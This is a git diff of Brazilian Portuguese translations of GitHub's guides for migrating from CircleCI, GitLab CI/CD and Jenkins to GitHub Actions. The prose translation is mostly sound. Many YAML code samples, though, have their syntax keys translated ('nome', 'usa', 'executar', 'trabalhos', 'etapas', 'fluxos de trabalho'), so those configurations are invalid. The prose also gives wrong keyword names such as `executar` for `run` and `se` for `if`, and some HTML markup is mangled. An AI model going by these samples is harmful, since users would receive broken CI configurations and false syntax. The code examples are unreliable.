+ambientes virtuais hospedados em {% data variables.product.prodname_dotcom %}, consulte "[Especificações para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Using variables and secrets
+## Usar variáveis e segredos
 
-CircleCI and {% data variables.product.prodname_actions %} support setting environment variables in the configuration file and creating secrets using the CircleCI or {% data variables.product.product_name %} UI.
+O CircleCI e o {% data variables.product.prodname_actions %} suportam configurações das variáveis de ambiente no arquivo de configuração e criação de segredos usando o CircleCI ou a interface de usuário do {% data variables.product.product_name %}.
 
-For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and "[Creating and using encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+Para obter mais informações, consulte "[Usar variáveis de ambiente](/actions/configuring-and-managing-workflows/using-environment-variables)" e "[Criar e usar segredos encriptados](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)".
 
-## Caching
+## Armazenar em cache
 
-CircleCI and {% data variables.product.prodname_actions %} provide a method to manually cache files in the configuration file.
+O CircleCI e o {% data variables.product.prodname_actions %} fornecem um método para armazenar arquivos de cache no arquivo de configuração manualmente.
 
-Below is an example of the syntax for each system.
+Abaixo, há um exemplo da sintaxe para cada sistema.
 
 <table class="d-block">
 <tr>
@@ -106,10 +107,10 @@ GitHub Actions
 <td class="d-table-cell v-align-top">
 {% raw %}
 ```yaml
-- name: Cache node modules
-  uses: actions/cache@v2
-  with:
-    path: ~/.npm
+- nome: Módulos do nó da cache
+  usa: actions/cache@v2
+  com:
+    caminho: ~/.npm
     key: v1-npm-deps-${{ hashFiles('**/package-lock.json') }}
     restore-keys: v1-npm-deps-
 ```
@@ -118,15 +119,15 @@ GitHub Actions
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+O cache de {% data variables.product.prodname_actions %} só é aplicável para repositórios hospedados em {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Memorizar dependências para acelerar fluxos de trabalho</a>".
 
-{% data variables.product.prodname_actions %} does not have an equivalent of CircleCI’s Docker Layer Caching (or DLC).
+{% data variables.product.prodname_actions %} não tem o equivalente ao Docker Layer Caching (DLC) do CircleCI.
 
-## Persisting data between jobs
+## Dados persistentes entre trabalhos
 
-Both CircleCI and {% data variables.product.prodname_actions %} provide mechanisms to persist data between jobs.
+Tanto a CircleCI quanto a {% data variables.product.prodname_actions %} fornecem mecanismos para persistir dados entre trabalhos.
 
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
+Abaixo está um exemplo no CircleCI e na sintaxe de configuração do {% data variables.product.prodname_actions %}.
 
 <table>
 <tr>
@@ -174,15 +175,15 @@ GitHub Actions
 </tr>
 </table>
 
-For more information, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+Para obter mais informações, consulte "[Dados persistentes do fluxo de trabalho que usam artefatos](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)".
 
-## Using databases and service containers
+## Usar bancos de dados e contêineres de serviço
 
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
+Ambos os sistemas permitem que você inclua contêineres adicionais para bases de dados, memorização ou outras dependências.
 
-In CircleCI, the first image listed in the *config.yaml* is the primary image used to run commands. {% data variables.product.prodname_actions %} uses explicit sections: use `container` for the primary container, and list additional containers in `services`.
+No CircleCI, a primeira imagem listada no *config.yaml* é a imagem principal usada para executar comandos. O {% data variables.product.prodname_actions %} usa seções explícitas: usa o`contêiner` para o contêiner primário e lista contêineres adicionais em `serviços`.
 
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
+Abaixo está um exemplo no CircleCI e na sintaxe de configuração do {% data variables.product.prodname_actions %}.
 
 <table class="d-block">
 <tr>
@@ -200,17 +201,17 @@ GitHub Actions
 ---
 version: 2.1
 
-jobs:
+trabalhos:
 
   ruby-26:
     docker:
       - image: circleci/ruby:2.6.3-node-browsers-legacy
-        environment:
+        ambiente:
           PGHOST: localhost
           PGUSER: administrate
           RAILS_ENV: test
-      - image: postgres:10.1-alpine
-        environment:
+      - imagem: postgres:10.1-alpine
+        ambiente:
           POSTGRES_USER: administrate
           POSTGRES_DB: ruby26
           POSTGRES_PASSWORD: ""
@@ -220,26 +221,26 @@ jobs:
     steps:
       - checkout
 
-      # Bundle install dependencies
+      # Agrupar a instalação de dependências
       - run: bundle install --path vendor/bundle
 
-      # Wait for DB
-      - run: dockerize -wait tcp://localhost:5432 -timeout 1m
+      # Aguardar DB
+      - executar: dockerize -wait tcp://localhost:5432 -timeout 1m
 
-      # Setup the environment
+      # Configurar o ambiente
       - run: cp .sample.env .env
 
-      # Setup the database
+      # Configurar o banco de dados
       - run: bundle exec rake db:setup
 
-      # Run the tests
+      # Executar os testes
       - run: bundle exec rake
 
 
-workflows:
+fluxos de trabalho:
   version: 2
-  build:
-    jobs:
+  criar:
+    trabalhos:
       - ruby-26
 ...
 
@@ -298,11 +299,11 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[About service containers](/actions/configuring-and-managing-workflows/about-service-containers)."
+Para obter mais informações, consulte "[Sobre contêineres de serviço](/actions/configuring-and-managing-workflows/about-service-containers)".
 
-## Complete Example
+## Exemplo completo
 
-Below is a real-world example. The left shows the actual CircleCI *config.yml* for the [thoughtbot/administrator](https://github.com/thoughtbot/administrate) repository. The right shows the {% data variables.product.prodname_actions %} equivalent.
+Abaixo, há um exemplo concreto. O lado esquerdo mostra o CircleCI *config.yml* atual para o repositório [thoughtbot/administrador](https://github.com/thoughtbot/administrate). O lado direito mostra o equivalente {% data variables.product.prodname_actions %}.
 
 <table class="d-block">
 <tr>
@@ -318,49 +319,49 @@ GitHub Actions
 {% raw %}
 ```yaml
 ---
-version: 2.1
+versão: 2.1
 
-commands:
+comandos:
   shared_steps:
-    steps:
+    etapas:
       - checkout
 
-      # Restore Cached Dependencies
+      # Restaurar dependências memorizadas
       - restore_cache:
-          name: Restore bundle cache
-          key: administrate-{{ checksum "Gemfile.lock" }}
+          nome: Restore bundle cache
+          chave: administrate-{{ checksum "Gemfile.lock" }}
 
-      # Bundle install dependencies
-      - run: bundle install --path vendor/bundle
+      # Agrupar instalação de dependências
+      - executar: bundle install --path vendor/bundle
 
-      # Cache Dependencies
+      # Memorizar dependências
       - save_cache:
-          name: Store bundle cache
-          key: administrate-{{ checksum "Gemfile.lock" }}
-          paths:
+          nome: Armazenar agrupamento da cache
+          chave: administrate-{{ checksum "Gemfile.lock" }}
+          caminho:
             - vendor/bundle
 
-      # Wait for DB
-      - run: dockerize -wait tcp://localhost:5432 -timeout 1m
+      # Aguardar DB
+      - executar: dockerize -wait tcp://localhost:5432 -timeout 1m
 
-      # Setup the environment
-      - run: cp .sample.env .env
+      # Configurar o ambiente
+      - executar: cp .sample.env .env
 
-      # Setup the database
-      - run: bundle exec rake db:setup
+      # Configurar o ambiente
+      - executar: bundle exec rake db:setup
 
-      # Run the tests
-      - run: bundle exec rake
+      # Executar os testes
+      - executar: bundle exec rake
 
 default_job: &default_job
   working_directory: ~/administrate
-  steps:
+  etapas:
     - shared_steps
-    # Run the tests against multiple versions of Rails
-    - run: bundle exec appraisal install
-    - run: bundle exec appraisal rake
+    # Executar os testes com múltiplas versões do Rails
+    - executar: bundle exec appraisal install
+    - executar: bundle exec appraisal rake
 
-jobs:
+trabalhos:
   ruby-25:
     <<: *default_job
     docker:
@@ -390,10 +391,10 @@ jobs:
           POSTGRES_PASSWORD: ""
 
 
-workflows:
-  version: 2
+fluxos de trabalho:
+  versão: 2
   multiple-rubies:
-    jobs:
+    trabalhos:
       - ruby-26
       - ruby-25
 ```
diff --git a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
index 1d15ec53f9..8ee698da79 100644
--- a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
+++ b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from GitLab CI/CD to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and GitLab CI/CD share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: Fazer a migração do GitLab CI/CD para o GitHub Actions
+intro: '{% data variables.product.prodname_actions %} e GitLab CI/CD compartilham várias semelhanças de configuração, o que faz com que a migração para {% data variables.product.prodname_actions %} seja relativamente simples.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-gitlab-cicd-to-github-actions
 versions:
@@ -14,34 +14,34 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from GitLab CI/CD
+shortTitle: Fazer a migração a partir da CI/CD do GitLab
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. GitLab CI/CD and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+O GitLab CI/CD e {% data variables.product.prodname_actions %} permitem criar fluxos de trabalho que criam, testam, publicam, lançam e implantam códigos automaticamente. O GitLab CI/CD e {% data variables.product.prodname_actions %} compartilham algumas semelhanças na configuração do fluxo de trabalho:
 
-- Workflow configuration files are written in YAML and are stored in the code's repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Jobs can run on either managed or self-hosted machines.
+- Os arquivos de configuração do fluxo de trabalho são gravados YAML e armazenados no repositório do código.
+- Os fluxos de trabalho incluem um ou mais trabalhos.
+- Os trabalhos incluem uma ou mais etapas ou comandos individuais.
+- Os trabalhos podem ser executados em máquinas gerenciadas ou auto-hospedadas.
 
-There are a few differences, and this guide will show you the important differences so that you can migrate your workflow to {% data variables.product.prodname_actions %}.
+Existem algumas diferenças e este guia irá mostrar a você as diferenças importantes para que você possa fazer a migração do seu fluxo de trabalho para {% data variables.product.prodname_actions %}.
 
-## Jobs
+## Trabalhos
 
-Jobs in GitLab CI/CD are very similar to jobs in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
+Os trabalhos no GitLab CI/CD são muito semelhantes aos trabalhos em {% data variables.product.prodname_actions %}. Em ambos os sistemas, os trabalhos têm as características a seguir:
 
-* Jobs contain a series of steps or scripts that run sequentially.
-* Jobs can run on separate machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
+* Os trabalhos contêm uma série de etapas ou scripts executados sequencialmente.
+* Os trabalhos podem ser executados em máquinas separadas ou em contêineres separados.
+* Por padrão, os trabalhos executados em paralelo, mas podem ser configuradas para serem executados em sequência.
 
-You can run a script or a shell command in a job. In GitLab CI/CD, script steps are specified using the `script` key. In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key.
+Você pode executar um script ou um comando de shell em um trabalho. No GitLab CI/CD, as etapas do script são especificadas usando a chave do `script`. Em {% data variables.product.prodname_actions %}, todos os scripts são especificados usando a chave `executar`.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -78,11 +78,11 @@ jobs:
 </tr>
 </table>
 
-## Runners
+## Executores
 
-Runners are machines on which the jobs run. Both GitLab CI/CD and {% data variables.product.prodname_actions %} offer managed and self-hosted variants of runners. In GitLab CI/CD, `tags` are used to run jobs on different platforms, while in {% data variables.product.prodname_actions %} it is done with the `runs-on` key.
+Os executores são máquinas nas quais os trabalhos são executados. Tanto GitLab CI/CD quanto {% data variables.product.prodname_actions %} oferecem variantes de executores gerenciadas e auto-hospedadas. No GitLab CI/CD, as `tags` são usadas para executar trabalhos em diferentes plataformas, enquanto em {% data variables.product.prodname_actions %} é feito com a chave `runs-on`.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table>
 <tr>
@@ -129,13 +129,13 @@ linux_job:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
+Para obter mais informações, consulte "[Sintaxe do fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
 
-## Docker images
+## Imagens do Docker
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} support running jobs in a Docker image. In GitLab CI/CD, Docker images are defined with an `image` key, while in {% data variables.product.prodname_actions %} it is done with the `container` key.
+Tanto o GitLab CI/CD quanto o {% data variables.product.prodname_actions %} são compatíveis com trabalhos executados em uma imagem do Docker. Na CI/CD do GitLab, as imagens do Docker são definidas com uma chave `de imagem`, enquanto em {% data variables.product.prodname_actions %}, isso é feito com a chave `contêiner`.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -167,13 +167,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
+Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)".
 
-## Condition and expression syntax
+## Condição e sintaxe de expressão
 
-GitLab CI/CD uses `rules` to determine if a job will run for a specific condition. {% data variables.product.prodname_actions %} uses the `if` keyword to prevent a job from running unless a condition is met.
+O GitLab CI/CD usa as `regras` para determinar se um trabalho será executado para uma condição específica. {% data variables.product.prodname_actions %} usa a palavra-chave `se` para evitar que um trabalho seja executado a menos que uma condição seja atendida.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -212,13 +212,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-## Dependencies between Jobs
+## Dependências entre trabalhos
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies in {% data variables.product.prodname_actions %} can be specified explicitly with the `needs` key. GitLab CI/CD also has a concept of `stages`, where jobs in a stage run concurrently, but the next stage will start when all the jobs in the previous stage have completed. You can recreate this scenario in {% data variables.product.prodname_actions %} with the `needs` key.
+Tanto o GitLab CI/CD quanto o {% data variables.product.prodname_actions %} permitem que você defina dependências para um trabalho. Em ambos os sistemas, os trabalhos executados em paralelo por padrão, mas dependências de trabalho em {% data variables.product.prodname_actions %} podem ser especificados explicitamente com a chave `needs`. O GitLab CI/CD também tem o conceito de `stages`, em que os trabalhos em um estágio são executados paralelamente, mas o próximo stage terá início depois de terminados todos os trabalho no stage anterior. Você pode recriar esse cenário em {% data variables.product.prodname_actions %} com a chave `needs`.
 
-Below is an example of the syntax for each system. The workflows start with two jobs named `build_a` and `build_b` running in parallel, and when those jobs complete, another job called `test_ab` will run. Finally, when `test_ab` completes, the `deploy_ab` job will run.
+Abaixo, há um exemplo da sintaxe para cada sistema. Os fluxos de trabalho iniciam com dois trabalhos denominados `build_a` e `build_b` sendo executados paralelamente e, após a conclusão desses trabalhos, será executado outro trabalho denominado `test_ab`. Por fim, quando `test_ab` é concluído, o trabalho `deploy_ab` será executado.
 
 <table class="d-block">
 <tr>
@@ -291,25 +291,25 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)".
 
-## Scheduling workflows
+## Agendar fluxos de trabalho
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to run workflows at a specific interval. In GitLab CI/CD, pipeline schedules are configured with the UI, while in {% data variables.product.prodname_actions %} you can trigger a workflow on a scheduled interval with the "on" key.
+Tanto o GitLab CI/CD quanto o {% data variables.product.prodname_actions %} permitem que você execute fluxos de trabalho em um intervalo específico. No GitLab CI/CD, a programação de pipeline é configurada com a interface do usuário, enquanto em {% data variables.product.prodname_actions %} você pode acionar um fluxo de trabalho em um intervalo programado com a chave "ligado".
 
-For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#scheduled-events)."
+Para obter mais informações, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows#scheduled-events)".
 
-## Variables and secrets
+## Variáveis e segredos
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} support setting environment variables in the pipeline or workflow configuration file, and creating secrets using the GitLab or {% data variables.product.product_name %} UI.
+O GitLab CI/CD e {% data variables.product.prodname_actions %} são compatíveis com as variáveis de ambiente no pipeline ou no arquivo de configuração do fluxo de trabalho e ao criar segredos usando o GitLab ou a interface de usuário de {% data variables.product.product_name %}.
 
-For more information, see "[Environment variables](/actions/reference/environment-variables)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Para obter mais informações, consulte "[Variáveis de ambiente](/actions/reference/environment-variables)" e "[Segredos criptografados](/actions/reference/encrypted-secrets)".
 
-## Caching
+## Armazenar em cache
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} provide a method in the configuration file to manually cache workflow files.
+GitLab CI/CD e {% data variables.product.prodname_actions %} fornecem um método no arquivo de configuração para armazenar os arquivos do fluxo de trabalho manualmente.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -359,13 +359,13 @@ jobs:
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+O cache de {% data variables.product.prodname_actions %} só é aplicável para repositórios hospedados em {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Memorizar dependências para acelerar fluxos de trabalho</a>".
 
-## Artifacts
+## Artefatos
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} can upload files and directories created by a job as artifacts. In {% data variables.product.prodname_actions %}, artifacts can be used to persist data across multiple jobs.
+Tanto o GitLab CI/CD quanto o {% data variables.product.prodname_actions %} podem fazer upload de arquivos e diretórios criados por um trabalho como artefatos. Em {% data variables.product.prodname_actions %}, os artefatos podem ser usados para persistir dados em vários trabalhos.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table>
 <tr>
@@ -401,15 +401,15 @@ artifacts:
 </tr>
 </table>
 
-For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts)."
+Para obter mais informações, consulte "[Armazenar dados de fluxo de trabalho como artefatos](/actions/guides/storing-workflow-data-as-artifacts)".
 
-## Databases and service containers
+## Bancos de dados e contêineres de serviço
 
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
+Ambos os sistemas permitem que você inclua contêineres adicionais para bases de dados, memorização ou outras dependências.
 
-In GitLab CI/CD, a container for the job is specified with the `image` key, while {% data variables.product.prodname_actions %} uses the `container` key. In both systems, additional service containers are specified with the `services` key.
+No GitLab CI/CD, um contêiner para o trabalho é especificado com a chave `imagem`, enquanto {% data variables.product.prodname_actions %} usa a chave `contêiner`. Nos dois sistemas, os contêineres de serviço adicionais são especificados com a chave </code>serviços.</p>
 
-Below is an example of the syntax for each system:
+<p spaces-before="0">Abaixo, há um exemplo da sintaxe para cada sistema:</p>
 
 <table class="d-block">
 <tr>
@@ -486,4 +486,4 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[About service containers](/actions/guides/about-service-containers)."
+<p spaces-before="0">Para obter mais informações, consulte "<a href="/actions/guides/about-service-containers">Sobre contêineres de serviço</a>."</p>
diff --git a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
index dba3e38286..683c51a5f8 100644
--- a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
+++ b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Jenkins to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Jenkins share multiple similarities, which makes migration to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: Migrar do Jenkins para o GitHub Actions
+intro: 'O {% data variables.product.prodname_actions %} e o Jenkins compartilham múltiplas semelhanças, o que torna a migração para {% data variables.product.prodname_actions %} relativamente simples.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-jenkins-to-github-actions
 versions:
@@ -14,103 +14,104 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Jenkins
+shortTitle: Fazer a migração a partir do Jenkins
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-Jenkins and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Jenkins and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+O Jenkins e o {% data variables.product.prodname_actions %} permitem criar fluxos de trabalho que criam, testam, publicam, lançam e implementam código automaticamente. O Jenkins e o {% data variables.product.prodname_actions %} compartilham algumas semelhanças em termos de configuração do fluxo de trabalho:
 
-- Jenkins creates workflows using _Declarative Pipelines_, which are similar to {% data variables.product.prodname_actions %} workflow files.
-- Jenkins uses _stages_ to run a collection of steps, while {% data variables.product.prodname_actions %} uses jobs to group one or more steps or individual commands.
-- Jenkins and {% data variables.product.prodname_actions %} support container-based builds. For more information, see "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
-- Steps or tasks can be reused and shared with the community.
+- O Jenkins cria fluxos de trabalho usando _Declarative Pipelines_, que são semelhantes aos arquivos do fluxo de trabalho {% data variables.product.prodname_actions %}.
+- O Jenkins usa _stages_ para executar uma coleção de etapas, enquanto o {% data variables.product.prodname_actions %} usa trabalhos para agrupar uma ou mais etapas ou comandos individuais.
+- O Jenkins e o {% data variables.product.prodname_actions %} são compatíveis com criações baseadas em contêineres. Para obter mais informações, consulte "[Criar uma ação de contêiner do Docker](/articles/creating-a-docker-container-action)".
+- É possível reutilizar e compartilhar novamente etapas ou tarefas com a comunidade.
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+Para obter mais informações, consulte "[Conceitos básicos para {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)".
 
-## Key differences
+## Principais diferenças
 
-- Jenkins has two types of syntax for creating pipelines: Declarative Pipeline and Scripted Pipeline. {% data variables.product.prodname_actions %} uses YAML to create workflows and configuration files. For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions)."
-- Jenkins deployments are typically self-hosted, with users maintaining the servers in their own data centers. {% data variables.product.prodname_actions %} offers a hybrid cloud approach by hosting its own runners that you can use to run jobs, while also supporting self-hosted runners. For more information, see [About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners).
+- O Jenkins tem dois tipos de sintaxe para a criação de pipelines: Declarative Pipeline e Scripted Pipeline. O {% data variables.product.prodname_actions %} usa o YAML para criar fluxos de trabalho e arquivos de configuração. Para obter mais informações, consulte "[Sintaxe do fluxo de trabalho para o GitHub Actions](/actions/reference/workflow-syntax-for-github-actions)".
+- As implementações do Jenkins são tipicamente auto-hospedadas, com usuários mantendo os servidores em seus próprios centros de dados. O {% data variables.product.prodname_actions %} oferece uma abordagem de nuvem híbrida, hospedando seus próprios executores que você pode usar para executar trabalhos, ao mesmo tempo em que também oferece suporte aos executores auto-hospedados. Para obter mais informações, consulte [Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners).
 
-## Comparing capabilities
+## Comparar recursos
 
-### Distributing your builds
+### Distribuir suas criações
 
-Jenkins lets you send builds to a single build agent, or you can distribute them across multiple agents. You can also classify these agents according to various attributes, such as operating system types.
+O Jenkins permite que se envie criações para um único agente de criação, ou você pode distribuí-las entre vários agentes. Você também pode classificar esses agentes de acordo com vários atributos, como, por exemplo, tipos de sistema operacional.
 
-Similarly, {% data variables.product.prodname_actions %} can send jobs to {% data variables.product.prodname_dotcom %}-hosted or self-hosted runners, and you can use labels to classify runners according to various attributes. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+De modo similar, o {% data variables.product.prodname_actions %} pode enviar trabalhos para executores hospedados em {% data variables.product.prodname_dotcom %} ou executores auto-hospedados, e você pode usar as etiquetas para classificar os executores de acordo com vários atributos. Para obter mais informações, consulte "[Entender {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners)" e "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)".
 
-### Using sections to organize pipelines
+### Usar seções para organizar pipelines
 
-Jenkins splits its Declarative Pipelines into multiple sections. Similarly, {% data variables.product.prodname_actions %} organizes its workflows into separate sections. The table below compares Jenkins sections with the {% data variables.product.prodname_actions %} workflow.
+O Jenkins divide seus Declarative Pipelines em múltiplas seções. De forma similar, o {% data variables.product.prodname_actions %} organiza seus fluxos de trabalho em seções separadas. A tabela abaixo compara as seções do Jenkins com o fluxo de trabalho {% data variables.product.prodname_actions %}.
 
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent)   | [`jobs.<job_id>.runs-on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on) <br> [`jobs.<job_id>.container`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer) |
-| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post)     |  |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs) |
-| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps)   | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps) |
+| Diretivas do Jenkins                                            | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| [`agente`](https://jenkins.io/doc/book/pipeline/syntax/#agent)  | [`jobs.<job_id>.runs-on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on) <br> [`jobs.<job_id>.container`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer) |
+| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post)     |                                                                                                                                                                                                                                                                                                        |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs)                                                                                                                                                                                                |
+| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps)   | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)                                                                                                                                                                |
 
-## Using directives
+## Usar diretivas
 
-Jenkins uses directives to manage _Declarative Pipelines_. These directives define the characteristics of your workflow and how it will execute. The table below demonstrates how these directives map to concepts within {% data variables.product.prodname_actions %}.
+O Jenkins usa diretivas para gerenciar os _Declarative Pipelines_. Essas diretivas definem as características do seu fluxo de trabalho e como ele será executado. A tabela abaixo demonstra como estas diretivas são mapeadas com conceitos dentro do {% data variables.product.prodname_actions %}.
 
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                  | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv) |
-| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                       | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes) |
